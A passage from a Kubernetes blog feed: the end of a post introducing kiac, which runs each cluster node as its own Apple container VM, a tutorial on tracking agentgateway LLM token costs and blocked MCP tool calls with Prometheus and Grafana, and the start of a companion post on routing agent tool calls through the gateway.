kiac talks only to the `apple/container` runtime. It never touches the Docker socket, so it coexists peacefully with Docker Desktop, Rancher Desktop, kind, and k3d if you have them.

---

## Why this is more isolated than a node in a Docker container

This is the heart of it. When a local Kubernetes tool runs "nodes" as Docker containers, all of those nodes are processes sharing one Linux kernel, separated only by namespaces and cgroups. Namespaces are a software boundary inside a single shared kernel. With kiac, the boundary between nodes is the hypervisor itself, the same hardware-backed boundary that separates virtual machines.

![Where the isolation boundary sits](/img/blog/introducing-kiac-kubernetes-in-apple-containers/isolation.png)

That difference is not academic. It changes what the cluster can actually do:

- **Security blast radius.** A container escape is, at its core, a way to break out of the namespace boundary and reach the shared kernel. In a shared-kernel setup, reaching the kernel means reaching every other node on it. With a VM per node, an escape is contained to that one VM. To cross into another node, an attacker would have to break the hypervisor, which is a far harder boundary.

- **Failure domains.** A shared kernel is a shared fate. One kernel panic, one runaway sysctl, one bad kernel module, and every node on that kernel goes down together. With kiac, a kernel problem stays inside the VM that caused it. The other nodes do not even notice.

- **Real node failure.** Because each node is a separate VM, you can stop one and have it behave like an actual node going offline: the control plane detects NotReady, evicts the pods, and reschedules them elsewhere. kiac ships this as a first-class command pair, `kiac stop node` and `kiac start node`, so a chaos drill is two commands. You cannot meaningfully test that when "stopping a node" means killing one of several processes that share a kernel.

- **Per-node kernel reality.** Each node has its own `/proc`, its own `/sys`, its own sysctls, and, with `--kernel`, its own kernel build. Node-level behavior is real, not simulated, which is exactly what you want when the thing you are testing is node-level behavior.

None of this means containers are bad. For packaging and shipping software, the container model is excellent, and kiac depends on it. The point is narrower: when the workload you are isolating is itself a machine, a machine-grade boundary is the right tool, and that is what a lightweight VM gives you.

---

## Getting started

### Requirements

- An Apple silicon Mac
- macOS 26 or newer for multi-node clusters (single-node works on macOS 15, with limitations)
- [apple/container](https://github.com/apple/container/releases) 1.0.0 or newer
- `kubectl`

### Install and check

```bash
brew install saiyam1814/tap/kiac
kiac doctor
```

`kiac doctor` verifies your macOS version, that the `apple/container` CLI is present and recent, that its system service is running, and that `kubectl` is on your PATH. If the container service is not running, `kiac doctor --fix` starts it for you.

### Create a cluster

```bash
kiac create cluster --name dev --workers 2
```

```text
⬢ kiac v0.3.0 · Kubernetes in Apple Containers
 ✓ Preflight checks (0.3s)
 ✓ Pulling node image kindest/node:v1.36.1 (8.2s)
 ✓ Booting 3 node VM(s) (9.6s)
 ✓ Initializing Kubernetes control plane (24.8s)
 ✓ Joining 2 worker(s) (8.4s)
 ✓ Installing CNI (kindnet) (0.4s)
 ✓ Installing addons (storage, metrics-server) (0.6s)
 ✓ Installing LoadBalancer (kiac-lb) (1.9s)
 ✓ Waiting for nodes to be Ready (7.1s)
 ✓ Labeling LoadBalancer primary node (0.3s)
 ✓ Writing kubeconfig (0.2s)

Cluster "dev" is ready in 1m2s. Every node is its own lightweight VM.
```

About a minute for three nodes. The node VMs themselves boot in seconds; most of the time is real `kubeadm` initializing a real control plane.

### Useful flags on create

| Flag | Default | What it does |
|---|---|---|
| `--name` | `dev` | cluster name |
| `--workers` | `0` | worker count (the control plane is untainted when 0) |
| `--k8s-version` | `1.36` | Kubernetes minor, pinned digests for 1.32 through 1.36 |
| `--distro` | `kubeadm` | distribution per node VM: `kubeadm` (kindest/node) or `k3s` (rancher/k3s) |
| `--cni` | `kindnet` | pod network: `kindnet`, `cilium` (needs `--kernel full`), or `none` to bring your own |
| `--kernel` | Apple's bundled kernel | `full` downloads the published kiac kernel, or pass a path to your own kernel Image |
| `--cpus` | `4` | vCPUs per node VM |
| `--memory` | `2G` | memory per worker VM |
| `--cp-memory` | `4G` | memory for the control-plane VM |
| `--config` | | cluster config YAML; flags set explicitly on the command line override file values |
| `--observability` / `--gateway` | off | opt-in stacks: Prometheus + Grafana, and Gateway API + Traefik |
| `--no-metrics` / `--no-storage` / `--no-lb` | off | skip any default addon |

---

## Pick your flavor

v0.3 gives you three ways to build the same per-node-VM cluster:

```bash
# Default: kubeadm on kindest/node, the closest thing to a production cluster
kiac create cluster --name dev --workers 2

# k3s: the lightest and fastest, batteries included
kiac create cluster --name edge --distro k3s --workers 1

# Cilium on the full kernel (prereq: brew install cilium-cli)
kiac create cluster --name lab --cni cilium --kernel full --workers 2
```

**k3s** takes the VM-per-node idea to its logical extreme: `rancher/k3s` runs as PID 1 inside each VM, with a sqlite datastore instead of etcd and its bundled servicelb, local-path storage, and metrics-server. No systemd layer, no kubeadm. A two-node cluster is up in about 30 seconds and the whole thing idles around 3.7GB of host RSS. One kiac-specific twist: kiac applies kindnet instead of k3s's default flannel, because flannel's bridge backend without `br_netfilter` breaks same-node service traffic on the stock kernel. The [k3s guide](https://saiyam1814.github.io/kiac/docs/k3s.html) has the details.

**Cilium** is the fun one, because it should not work here at all. Apple's bundled node kernel is monolithic with zero loadable modules, and it leaves out everything an eBPF CNI needs: no VXLAN or Geneve encapsulation, no `br_netfilter`, no BPF JIT, no BTF. There is no `modprobe`, so nothing can be added at runtime. On the stock kernel, Cilium's agent simply cannot bring up its datapath.

The per-node-VM architecture is the way out. Since every node boots its own kernel, kiac can just boot a different one. `--kernel full` downloads a published kernel build (release `kernel-v6.12.28-full`, sha-pinned, cached under `~/.kiac/kernels`) that kiac builds in CI from kernel.org source: Apple's own config as the base, plus VXLAN, Geneve, `br_netfilter`, nf_tables, the BPF JIT with BTF, WireGuard, and kprobes compiled in. Same monolithic design, same fast boot, just with the networking features present. On that kernel, the full Cilium stack (Cilium plus the `--observability` and `--gateway` addons) comes up verified in 1m37s.

The performance result was the surprise. Cilium's VXLAN overlay rides vmnet's fast path: around 285MB/s of cross-node pod-to-pod throughput, and about 1GB/s from the Mac straight to a pod. Counterintuitively, the encapsulated path is the fast one here; routed CNIs crawl on bulk cross-node transfers over vmnet, which kiac mitigates by assigning LoadBalancer IPs local to the pods they serve. If you want the full walkthrough, see the [Cilium guide](https://saiyam1814.github.io/kiac/docs/cilium.html) and [examples/cilium-cluster.md](https://github.com/saiyam1814/kiac/blob/main/examples/cilium-cluster.md).

Whatever the flavor, `--observability` adds Prometheus v3.5.0 and Grafana 12.0.2 with two provisioned dashboards on a LoadBalancer IP at `:3000`, and `--gateway` adds Gateway API v1.5.1 CRDs plus Traefik v3.7.6 with a ready-to-use Gateway. Both are verified on kubeadm, k3s, and Cilium clusters.

---

### What `--observability` actually hands you

Every flavor takes `--observability`, and this is the real thing, not a checkbox. Prometheus scrapes your nodes, kubelets, and kube-state-metrics from second one, and Grafana comes up on a LoadBalancer IP with dashboards already provisioned. This screenshot is a three-node cluster a few minutes after `kiac create cluster --workers 2 --observability`, untouched:

![Grafana Cluster Overview on a kiac cluster, live data](/img/blog/introducing-kiac-kubernetes-in-apple-containers/shot-grafana-overview.png)

## Seeing the isolation pay off

Here is a real three-node cluster, with `kubectl get nodes -o wide`.

```text
NAME                       STATUS   ROLES           VERSION   INTERNAL-IP    OS-IMAGE                       KERNEL-VERSION    CONTAINER-RUNTIME
kiac-dev-control-plane     Ready    control-plane   v1.36.1   192.168.64.2   Debian GNU/Linux 13 (trixie)   6.12.28 (arm64)   containerd://2.3.1
kiac-dev-worker-1          Ready    <none>          v1.36.1   192.168.64.3   Debian GNU/Linux 13 (trixie)   6.12.28 (arm64)   containerd://2.3.1
kiac-dev-worker-2          Ready    <none>          v1.36.1   192.168.64.4   Debian GNU/Linux 13 (trixie)   6.12.28 (arm64)   containerd://2.3.1
```

Each node reports its own kernel version and its own `INTERNAL-IP` on the `vmnet` network, reachable straight from your Mac.

### `kubectl top` just works

```bash
kubectl top nodes
```

```text
NAME                       CPU(cores)   CPU(%)   MEMORY(bytes)   MEMORY(%)
kiac-dev-control-plane     269m         5%       828Mi           20%
kiac-dev-worker-1          35m          0%       288Mi           14%
kiac-dev-worker-2          52m          1%       359Mi           18%
```

Real kubelet, real cAdvisor, real cgroups inside a real Linux VM. Give metrics-server about 60 seconds for its first scrape, and `kubectl top` reports actual numbers with no patching.

### `type: LoadBalancer` gets a real IP you can curl

```bash
kubectl create deploy web --image=nginx --replicas=2
kubectl expose deploy web --port=80 --type=LoadBalancer
kubectl get svc web
```

```text
NAME   TYPE           CLUSTER-IP      EXTERNAL-IP    PORT(S)        AGE
web    LoadBalancer   10.104.197.79   192.168.64.3   80:30495/TCP   4s
```

```bash
curl http://192.168.64.3
# HTTP 200 in 0.004s, straight from your Mac. No tunnel, no <pending>.
```

That EXTERNAL-IP appeared about two seconds after the Service was created, courtesy of kiac-lb, and it is a node IP local to the pods behind it.

### Load a locally-built image into every node

```bash
container build -t myapp:dev .
kiac load image myapp:dev --name dev
```

When you are done, tear it all down:

```bash
kiac delete cluster --name dev
```

---

## Clusters that survive a reboot

Restart your Mac, then run `kiac resume cluster --name dev`. kiac boots the node VMs back up, waits for the API server, and heals everything a reboot breaks: control-plane certificate SANs, the kubeconfigs inside the VMs and on your Mac, and kube-proxy, even if `vmnet` handed out a whole new subnet while the cluster was down (verified across a subnet change in 46 seconds). Resume works on kubeadm clusters today; the [persistence docs](https://saiyam1814.github.io/kiac/docs/persistence.html) cover exactly what it repairs and why.

## A web console when you want one

`kiac ui` opens a local dashboard where you can create, watch, and delete clusters, running the same engine as the CLI: cluster cards with live per-node CPU and memory, stop and start buttons for node chaos, and one-click links to Grafana and your Gateway.

![The kiac ui dashboard](/img/blog/introducing-kiac-kubernetes-in-apple-containers/shot-kiac-ui.png)

Each cluster also gets a kubectl Console drawer, so you can fire off commands against any cluster without leaving the browser:

![The embedded kubectl console](/img/blog/introducing-kiac-kubernetes-in-apple-containers/shot-kiac-console.png)

The [dashboard docs](https://saiyam1814.github.io/kiac/docs/dashboard.html) have a full tour.

---

## Honest trade-offs

Real isolation is not free, and I would rather you hear the limits from me than discover them mid-demo.

- **RAM.** Each worker VM reserves 2G and the control plane 4G by default (tunable with `--memory` and `--cp-memory`). An idle worker only uses a few hundred MB inside the guest, as the `kubectl top` output above shows, but the reservation is real. A three-node cluster is not something you run on an 8GB machine. If memory is tight, `--distro k3s` keeps a two-node cluster around 3.7GB of host RSS.
- **macOS 26+ for multi-node.** Node-to-node networking relies on `vmnet` container-to-container support. Single-node works further back, with limits.
- **Apple silicon only.** This is an arm64 story end to end.
- **Restarted VMs and host TCP.** After `kiac stop node` and `kiac start node`, new TCP connections from your Mac to that specific VM are dropped by a known `apple/container` vmnet issue. Traffic inside the cluster is unaffected, and a full host reboot followed by `kiac resume` does not hit it. It makes node chaos drills slightly less pretty than they should be, and it is tracked upstream.
- **Bulk cross-node throughput on routed CNIs.** Large transfers between pods on different nodes are slow over vmnet with routed CNIs like kindnet. kiac mitigates it by assigning LoadBalancer IPs local to the serving pods, and the Cilium flavor avoids it entirely because its overlay rides vmnet's fast path.
- **Resume is kubeadm-only today.** k3s clusters do not survive a host reboot yet.
- **Create takes about a minute** for three nodes. The node VMs boot in seconds; most of the time is real `kubeadm` initializing the control plane.

---

## Where this is going

kiac is deliberately small, and there is a clear list of what comes next:

- **Persistent clusters** backed by `container machine` (the persistent Linux environments Apple shipped at WWDC26), so resume becomes a fast path instead of a repair job.
- **HA control planes**, because multiple real control-plane VMs is exactly what this architecture is for.
- **One-flag Calico and Flannel** now that the full kernel has the features they need.
- **Hubble** wired into the Cilium flavor for flow observability.

---

## Come build it with me

kiac is genuinely easy to contribute to: one Go binary with a clean `cmd/` + `pkg/` layout, a runtime you can poke at directly with the `container` CLI, and an [issues page](https://github.com/saiyam1814/kiac/issues) where items come scoped with context, file pointers, and acceptance criteria so a first PR has a clear finish line.

Two other great ways in:

- **Run the example guides and break them.** [cilium-cluster](https://github.com/saiyam1814/kiac/blob/main/examples/cilium-cluster.md), [k3s-cluster](https://github.com/saiyam1814/kiac/blob/main/examples/k3s-cluster.md), [chaos-drill](https://github.com/saiyam1814/kiac/blob/main/examples/chaos-drill.md), and [resume-drill](https://github.com/saiyam1814/kiac/blob/main/examples/resume-drill.md) are copy-pasteable end-to-end walkthroughs. If a step does not match what you see, that is an issue worth filing.
- **Read the [contributing guide](https://saiyam1814.github.io/kiac/docs/contributing.html)** for the layout, test setup, and how a PR flows.

And if you just run a cluster and something breaks, that is a contribution too: [open an issue](https://github.com/saiyam1814/kiac/issues) with the output of `kiac doctor`.

---

## Credit where it is due

kiac stands on other people's work. The `apple/container` and Containerization teams at Apple built the runtime that makes any of this possible. Akihiro Suda's `kina` was the proof-of-concept that showed Kubernetes on `apple/container` was viable at all. The node experience reuses the `kindest/node` image from the kind project, and the k3s flavor reuses `rancher/k3s`. kiac is the packaging that turns those pieces into a one-command local cluster.

## Try it

```bash
brew install saiyam1814/tap/kiac
kiac doctor
kiac create cluster --name dev --workers 2

# or the eBPF flavor
kiac create cluster --name lab --cni cilium --kernel full --workers 2
```

- GitHub: [github.com/saiyam1814/kiac](https://github.com/saiyam1814/kiac)
- Docs and site: [saiyam1814.github.io/kiac](https://saiyam1814.github.io/kiac/)

It is open source and MIT licensed. If you run a cluster on it, I would love to know what you break first. Issues and PRs welcome.

---

# LLM Costs and Observability with agentgateway on Kubernetes (Part 2)

- Canonical: https://blog.kubesimplify.com/llm-costs-and-observability-with-agentgateway-on-kubernetes
- Published: 2026-06-30
- Summary: Part 2: scrape agentgateway with Prometheus, build a Grafana dashboard of token cost and per-tool usage, see blocked tool calls, and alert on spend.

This is Part 2 of a two-part series. In [Part 1](https://blog.kubesimplify.com/controlling-mcp-tools-with-agentgateway-on-kubernetes) you put a Google ADK agent behind **agentgateway** on Kubernetes: the agent holds zero secrets, its model and tool calls flow through one proxy, and a policy blocks any tool you have not allowed. That is the governance half. This part is the question governance cannot answer on its own: what is all of this actually costing you, and can you see when an agent misbehaves?

By the end you will have Prometheus and Grafana on the same `kind` cluster, a dashboard that shows token throughput and an estimated dollar figure as your agents run, and blocked tool-call attempts visible on the same screen.

All the manifests and the dashboard JSON are in the companion repo: https://github.com/shkatara/agentgateway-security-observability

What you'll build in Part 2:

- Prometheus and Grafana running in the cluster via `kube-prometheus-stack`.
- A `PodMonitor` that scrapes the gateway proxy's metrics.
- A Grafana dashboard with token cost, per-tool call counts, and HTTP status, imported from a single file.
- A view of blocked tool-call attempts, and an explanation of why the `405`s you will see are not blocked tools.
- A `PrometheusRule` that alerts when estimated daily spend crosses a budget.

> **Note:** agentgateway is a fast-moving project. These commands target the `v1.2.x` charts and the `agentgateway.dev/v1alpha1` API. Pin versions and expect metric names and fields to evolve.

## Prerequisites

You need the setup from Part 1 up and running:

- The `kind` cluster with the agentgateway control plane and proxy.
- The LLM route (`/v1`) and the MCP route (`/mcp-github`), with the ADK agent working.
- Ideally the `AgentgatewayPolicy` from Part 1 applied (allow only `get_me`), so blocked attempts show up on the dashboard.
- `helm` v3.8+ and the port-forward on `localhost:8080` still available.

## Why agents need observability, specifically

Two of the three questions from Part 1 are observability questions. Who spent the money, and on which model? When an agent goes off the rails, where is the trace? A normal service dashboard does not answer these, because it does not understand tokens or tool calls. agentgateway does. It counts tokens and MCP calls for every request and exposes them as Prometheus metrics, so the answers become PromQL queries instead of a shrug.

## The quick look: the metrics endpoint

Before installing anything, confirm the gateway is already emitting what we need. Port-forward the proxy's metrics port and read it:

```sh
kubectl port-forward deployment/agentgateway-proxy -n agentgateway-system 15020 &
curl -s localhost:15020/metrics | grep gen_ai_client_token_usage
```

You will see the token-usage histogram that powers all cost tracking:

```console
agentgateway_gen_ai_client_token_usage_sum{gen_ai_operation_name="chat",gen_ai_request_model="gpt-4o-mini",gen_ai_system="openai",gen_ai_token_type="input"} 342
agentgateway_gen_ai_client_token_usage_count{gen_ai_operation_name="chat",gen_ai_request_model="gpt-4o-mini",gen_ai_system="openai",gen_ai_token_type="input"} 5
```

The labels (`gen_ai_request_model`, `gen_ai_system`, `gen_ai_token_type`) are what let you slice spend by model, provider, and direction. The metrics endpoint is fine for a peek. The payoff is a dashboard, so let us wire one up.

## The observability architecture

Everything stays inside the same cluster. The proxy exposes metrics on port `15020`. We add Prometheus to scrape it and Grafana to draw it.

![AgentGateway Observability Architecture](/img/blog/llm-costs-and-observability-with-agentgateway-on-kubernetes/agw-monitoring.png)

## Step 1: Install Prometheus and Grafana

The `kube-prometheus-stack` chart bundles Prometheus, Grafana, the Prometheus Operator, and a Grafana sidecar that auto-loads dashboards from labeled ConfigMaps. The three `NilUsesHelmValues=false` flags matter. Without them, the operator only picks up `PodMonitor` and `PrometheusRule` resources that carry its own release label, and the ones we create next would be silently ignored.

```sh
helm upgrade --install kube-prometheus-stack kube-prometheus-stack \
  --repo https://prometheus-community.github.io/helm-charts \
  --namespace telemetry --create-namespace \
  --set prometheus.prometheusSpec.podMonitorSelectorNilUsesHelmValues=false \
  --set prometheus.prometheusSpec.serviceMonitorSelectorNilUsesHelmValues=false \
  --set prometheus.prometheusSpec.ruleSelectorNilUsesHelmValues=false \
  --wait
```

It pulls a few images, so give it a minute. Confirm the stack is up:

```sh
kubectl get pods -n telemetry
```

## Step 2: Make Prometheus scrape the gateway

First, find the label that uniquely identifies the proxy pod. This one step saves the most debugging time.

```sh
kubectl get pods -n agentgateway-system --show-labels | grep proxy
```

agentgateway's own scrape config keys on `kgateway=kube-gateway` for data plane proxies, which is what the `PodMonitor` below uses. If your output shows a different label (for example `app.kubernetes.io/name=agentgateway-proxy`), use that in the `selector`.

```sh
kubectl apply -f- <<EOF
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata:
  name: agentgateway-proxy
  namespace: agentgateway-system
  labels:
    release: kube-prometheus-stack
spec:
  namespaceSelector:
    matchNames:
      - agentgateway-system
  selector:
    matchLabels:
      app.kubernetes.io/name: agentgateway-proxy
  podMetricsEndpoints:
    - targetPort: 15020
      path: /metrics
      interval: 15s
EOF
```

Confirm Prometheus picked up the target. Port-forward Prometheus, open `http://localhost:9090/targets`, and look for `podMonitor/agentgateway-system/agentgateway-proxy` in the `UP` state.

```sh
kubectl port-forward -n telemetry svc/kube-prometheus-stack-prometheus 9090
```

## Step 3: Generate some agent traffic

A dashboard with no traffic is a flat line. Keep the `8080` port-forward from Part 1 running, then send a burst of LLM calls through the gateway:

```sh
for i in $(seq 1 50); do
  curl -s "localhost:8080/v1/chat/completions" \
    -H content-type:application/json \
    -d '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"Give me one random fact in a single sentence."}]}' \
    > /dev/null
  echo "request $i sent"
  sleep 2
done
```

You can also just chat with the ADK agent a few more times. Either way, every call increments the token metric.

## Step 4: Confirm the metric in Prometheus

Before touching Grafana, confirm the data landed. With the port-forward on `9090`, open `http://localhost:9090/graph` and run:

```promql
agentgateway_gen_ai_client_token_usage_sum
```

You should see series with labels like `gen_ai_request_model="gpt-4o-mini"` and `gen_ai_token_type="input"`. If they are here, Grafana is just drawing what Prometheus already has.

## Step 5: Import the cost dashboard

The dashboard ships as [`agentgateway-cost-dashboard.json`](https://github.com/shkatara/agentgateway-security-observability/blob/main/agentgateway-cost-dashboard.json) in the repo. The Grafana sidecar auto-imports any ConfigMap in the `telemetry` namespace labeled `grafana_dashboard=1`, so from the repo root:

```sh
kubectl -n telemetry create configmap agentgateway-cost-dashboard \
  --from-file=agentgateway-cost-dashboard.json
kubectl -n telemetry label configmap agentgateway-cost-dashboard grafana_dashboard=1
```

Port-forward Grafana and log in:

```sh
kubectl port-forward -n telemetry deployment/kube-prometheus-stack-grafana 3000 &
# username: admin
kubectl -n telemetry get secret kube-prometheus-stack-grafana -o jsonpath='{.data.admin-password}' | base64 -d
```

Open the **agentgateway: Agent LLM Cost and Usage** dashboard. With the traffic loop running, the panels fill in within a scrape interval or two.

![agentgateway cost and tool-usage dashboard in Grafana](/img/blog/llm-costs-and-observability-with-agentgateway-on-kubernetes/cost-dashboard.png)

Top row: MCP tool calls over time, and totals per tool. Middle: MCP transport HTTP by method and status, where the `GET 405/406` lines are normal transport negotiation, not blocked tools (more on that below). Bottom: blocked tool-call attempts, everything outside the allow-list.

## The panels and the PromQL behind them

If you would rather build the dashboard by hand, or you just want to understand what each panel asks Prometheus, here is every query.

| Panel | What it shows | PromQL |
| --- | --- | --- |
| Token throughput (input vs output) | Tokens per second, split by direction | `sum by (gen_ai_token_type) (rate(agentgateway_gen_ai_client_token_usage_sum[5m]))` |
| Token throughput by model | Which models are burning tokens | `sum by (gen_ai_request_model) (rate(agentgateway_gen_ai_client_token_usage_sum[5m]))` |
| Estimated spend (last 1h) | A live dollar figure | `(sum(increase(agentgateway_gen_ai_client_token_usage_sum{gen_ai_token_type="input"}[1h])) / 1000000) * 0.15 + (sum(increase(agentgateway_gen_ai_client_token_usage_sum{gen_ai_token_type="output"}[1h])) / 1000000) * 0.60` |
| LLM requests per second by status | HTTP status of LLM-route traffic only | `sum by (status) (rate(agentgateway_requests_total{route="agentgateway-system/openai"}[5m]))` |
| MCP transport requests (by method and status) | Raw HTTP on the MCP route | `sum by (method, status) (rate(agentgateway_requests_total{route="agentgateway-system/mcp-github"}[5m]))` |
| MCP tool calls over time (by tool) | Which tools are being called | `sum by (resource) (rate(agentgateway_mcp_requests_total{method="tools/call"}[5m]))` |
| Total MCP tool calls (by tool) | How many times each tool was called | `sum by (resource) (agentgateway_mcp_requests_total{method="tools/call"})` |
| Blocked tool-call attempts (total) | Calls to tools outside the allow-list | `sum(agentgateway_mcp_requests_total{method="tools/call", resource!="get_me"})` |
| Blocked tool-call attempts over time (by tool) | When and which blocked tools were attempted | `sum by (resource) (rate(agentgateway_mcp_requests_total{method="tools/call", resource!="get_me"}[5m]))` |

A note on the MCP metric. Tool activity is `agentgateway_mcp_requests_total`, with a `method` label (`tools/list`, `tools/call`, `initialize`) and, for tool calls, a `resource` label holding the tool name. So `...{method="tools/call", resource="get_me"}` is the per-tool call count. The gateway counts the attempt even when a tool is blocked, so a tool you have hidden by policy still shows a count here. The metric records that a call was attempted, not whether it was allowed, so the proxy logs are where you confirm the verdict. If names differ on your build, run `curl -s localhost:15020/metrics | grep mcp`.

## Turning tokens into dollars

There is no magic in the spend panel. It multiplies token counts by your provider's price:

```
cost = (input_tokens / 1,000,000 × input_price) + (output_tokens / 1,000,000 × output_price)
```

The dashboard keeps the two prices in hidden variables (`price_in`, `price_out`), defaulting to example values for a small model. Prices change and vary by model, so treat them as placeholders and set your real rates in the dashboard's Variables settings. The `increase(...[1h])` window means the stat reads as spend over the last hour.

## See the blocked tool call on the dashboard

This is where the two halves of the series meet. When you applied the `AgentgatewayPolicy` that allows only `get_me`, every attempt to call another tool is rejected. With the dashboard open, run a handful of blocked calls:

```sh
for i in $(seq 1 5); do
  npx @modelcontextprotocol/inspector@0.21.2 \
    --cli http://localhost:8080/mcp-github \
    --transport http \
    --method tools/call \
    --tool-name search_repositories \
    --tool-arg query="kubernetes"
  sleep 1
done
```

Each one comes back as `Unknown tool`, because the policy hides `search_repositories`. Even so, the gateway records the attempt, so `search_repositories` shows up on the per-tool panels with its own count, and on the "blocked tool-call attempts" panels because it is not in the allow-list. A blocked tool with a rising count is a useful signal in itself: something is trying to reach a tool it is not allowed to.

## Why you see 405s, and why they are not blocked tools

Look at the MCP transport panel and you will see a lot of `GET 405` and `GET 406`. It is tempting to read those as blocked tools. They are not.

A blocked tool call returns HTTP `200` with a JSON-RPC error in the body (`Unknown tool`). 

MCP errors are application-level, not HTTP status codes, so blocking never shows up as a `4xx`. The `405` and `406` responses are MCP Streamable HTTP transport: the client issues a `GET` to open an SSE stream, or a `DELETE` to end a session, and that method is not allowed on the endpoint. It is normal protocol negotiation.

That is exactly why the dashboard scopes the LLM status panel to the OpenAI route and gives the MCP route its own transport panel. Otherwise the MCP transport noise leaks into your LLM error rate and you chase a problem that is not there.

## Alert on spend

You do not want to watch a dashboard all day. A `PrometheusRule` fires when estimated daily spend crosses a threshold. The `release: kube-prometheus-stack` label is what makes the operator pick the rule up.

```sh
kubectl apply -f- <<EOF
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: agentgateway-cost-alerts
  namespace: telemetry
  labels:
    release: kube-prometheus-stack
spec:
  groups:
    - name: llm_cost
      rules:
        - alert: HighDailyLLMSpend
          expr: |
            (
              (sum(increase(agentgateway_gen_ai_client_token_usage_sum{gen_ai_token_type="input"}[24h])) / 1000000) * 0.15 +
              (sum(increase(agentgateway_gen_ai_client_token_usage_sum{gen_ai_token_type="output"}[24h])) / 1000000) * 0.60
            ) > 50
          for: 5m
          labels:
            severity: warning
          annotations:
            summary: "Estimated LLM spend over the last 24h exceeded 50 USD"
EOF
```

Adjust the prices and the `> 50` threshold to your budget. The alert appears in Prometheus under **Alerts**, and routes through AlertManager if you have wired up a receiver.

## Common Issues and How to Solve Them

| Symptom | Likely cause | Fix |
| --- | --- | --- |
| Proxy target missing or `DOWN` in Prometheus | The `PodMonitor` selector does not match the proxy pod, or the operator ignores the monitor | Run `kubectl get pods -n agentgateway-system --show-labels` and fix the `selector`; confirm the `podMonitorSelectorNilUsesHelmValues=false` flag |
| Target `UP` but no `agentgateway_gen_ai_*` series | No LLM traffic yet, or the wrong port | Run the traffic loop and confirm metrics on `:15020/metrics` |
| Grafana panels say "datasource not found" | The dashboard datasource variable did not auto-select | Pick Prometheus from the datasource dropdown at the top of the dashboard |
| Dashboard never appears in Grafana | The ConfigMap is unlabeled or in the wrong namespace | It must be in the `telemetry` namespace and labeled `grafana_dashboard=1` |
| Estimated spend shows 0 | `increase()` needs at least two samples in the window | Send traffic and wait a couple of scrape intervals |
| MCP panels are empty | The tool-call metric is named differently on your build | Run `curl -s localhost:15020/metrics | grep -E 'mcp|tool'` and adjust the query |
| A lot of `GET 405/406` on the MCP route | Normal MCP Streamable HTTP transport negotiation, not blocked tools | Nothing to fix; blocked tools are HTTP `200` with `Unknown tool` in the body |

## Conclusion

That completes the series. In Part 1 you made agents safe to run: no secrets in the runtime, and tools locked down by policy. In Part 2 you made them legible: token cost per model on a live graph, per-tool usage, blocked attempts you can watch, and an alert when spend runs away.

Here's what you accomplished in Part 2:

1. Installed Prometheus and Grafana on the same cluster as the gateway.
2. Scraped the proxy with a `PodMonitor` and verified the target.
3. Imported a cost dashboard showing token throughput, per-model usage, per-tool calls, and an estimated dollar figure.
4. Made blocked tool-call attempts visible, and learned why the `405`s are transport noise, not policy denials.
5. Added an alert that fires when estimated daily spend crosses a budget.

Put together, the two parts answer the questions you could not answer before: who spent what, who can call which tool, and where the trace is. That single control point is the difference between a pile of agents and a platform.

All the manifests, the agent, and the dashboard are in the repo: https://github.com/shkatara/agentgateway-security-observability. The agentgateway project lives at [agentgateway.dev](https://agentgateway.dev/).

---

# Controlling MCP Tools with agentgateway on Kubernetes (Part 1)

- Canonical: https://blog.kubesimplify.com/controlling-mcp-tools-with-agentgateway-on-kubernetes
- Published: 2026-06-29
- Summary: Run AI agents behind agentgateway on Kubernetes: route their LLM and MCP tool calls through one proxy, keep secrets out of the agent, and block tools by policy.

This is Part 1 of a two-part series. In this part you stand up **agentgateway** on Kubernetes, put a Google ADK agent behind it so the agent holds zero secrets, and enforce tool-level access control that you can watch block a tool in real time. Part 2 adds cost and observability: Prometheus, Grafana, and a live token-spend dashboard.

The available artifacts are available at  https://github.com/shkatara/agentgateway-security-observability.git

agentgateway is an open source, AI-native proxy. By the end of this part, your agent will talk to its tools (over MCP) and its model (over an OpenAI-compatible API) through the gateway, hold none of its own credentials, and be unable to call a tool you have not explicitly allowed.

Who this is for:

- Platform engineers, SREs, and backend engineers who are starting to run AI agents in production and are realizing that "the agent has every API key and can call every tool" is not a strategy.
- Anyone who has shipped one agent, watched three more appear, and now needs a single place to enforce security across all of them.

What you'll build in Part 1:

- A `kind` cluster running the agentgateway control plane and proxy.
- An LLM route, so the agent's model calls flow through the gateway and the provider key lives only in the gateway.
- An MCP route to the remote GitHub MCP server, with the GitHub token injected by the gateway.
- A Google ADK agent whose model and tools both go through the gateway and which carries no real secrets.
- Tool-level access control: you allow one tool and watch the gateway hide another, so calling it comes back as an `Unknown tool` error.

> **Note:** agentgateway is a fast-moving project (a Linux Foundation / Agentic AI Foundation project, currently around the v1.2 to v1.3 line). Pin the versions shown here, and expect custom resource fields to evolve. Every command below was written against the `v1.2.x` charts and the `agentgateway.dev/v1alpha1` API.

## Prerequisites

For this tutorial, you'll need:

- A machine with [Docker](https://docs.docker.com/get-docker/) and [`kind`](https://kind.sigs.k8s.io/) installed.
- [`kubectl`](https://kubernetes.io/docs/tasks/tools/) and [`helm`](https://helm.sh/docs/intro/install/) (v3+).
- Node.js (for `npx`, used to run the MCP Inspector verification tool).
- Python 3.10+ (required by the Google ADK agent and the `mcp` SDK it uses).
- An API key for an LLM provider. This guide uses OpenAI; an Anthropic key works too. A note for OpenAI users: the API is billed separately from a ChatGPT Plus or Pro subscription, so you need credit on the API account itself.
- A [GitHub Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) (classic or fine-grained): the agent's tools will be the remote GitHub MCP server, which is perfect for a tool-access demo because it exposes many tools.

Every manifest in this post is inline and copy-pasteable. There is no repo to clone.

## Why AI Agents Need Their Own Gateway

Here's a scenario that is playing out in a lot of companies right now.

A team ships their first agent. It needs an LLM, so they paste an OpenAI key into a Kubernetes Secret and mount it. It needs tools, so they wire it directly to a couple of MCP servers: one for GitHub, one for an internal database, one for filesystem access. It works. Everyone's happy.

Then it scales. Now there are eight agents across four teams. Each one holds its own copy of the LLM key. Each one connects directly to whatever MCP servers it likes. Nobody can answer three questions that suddenly matter a lot:

- **Who spent the $14,000 on OpenAI last month, and on which model?**
- **Which agents can call the `delete_repository` tool, and who approved that?**
- **When an agent does something dumb, where's the trace?**

The first instinct is to put the existing API gateway in front of it all. That instinct is wrong, and it's worth understanding *why*, because it explains the entire reason agentgateway exists.

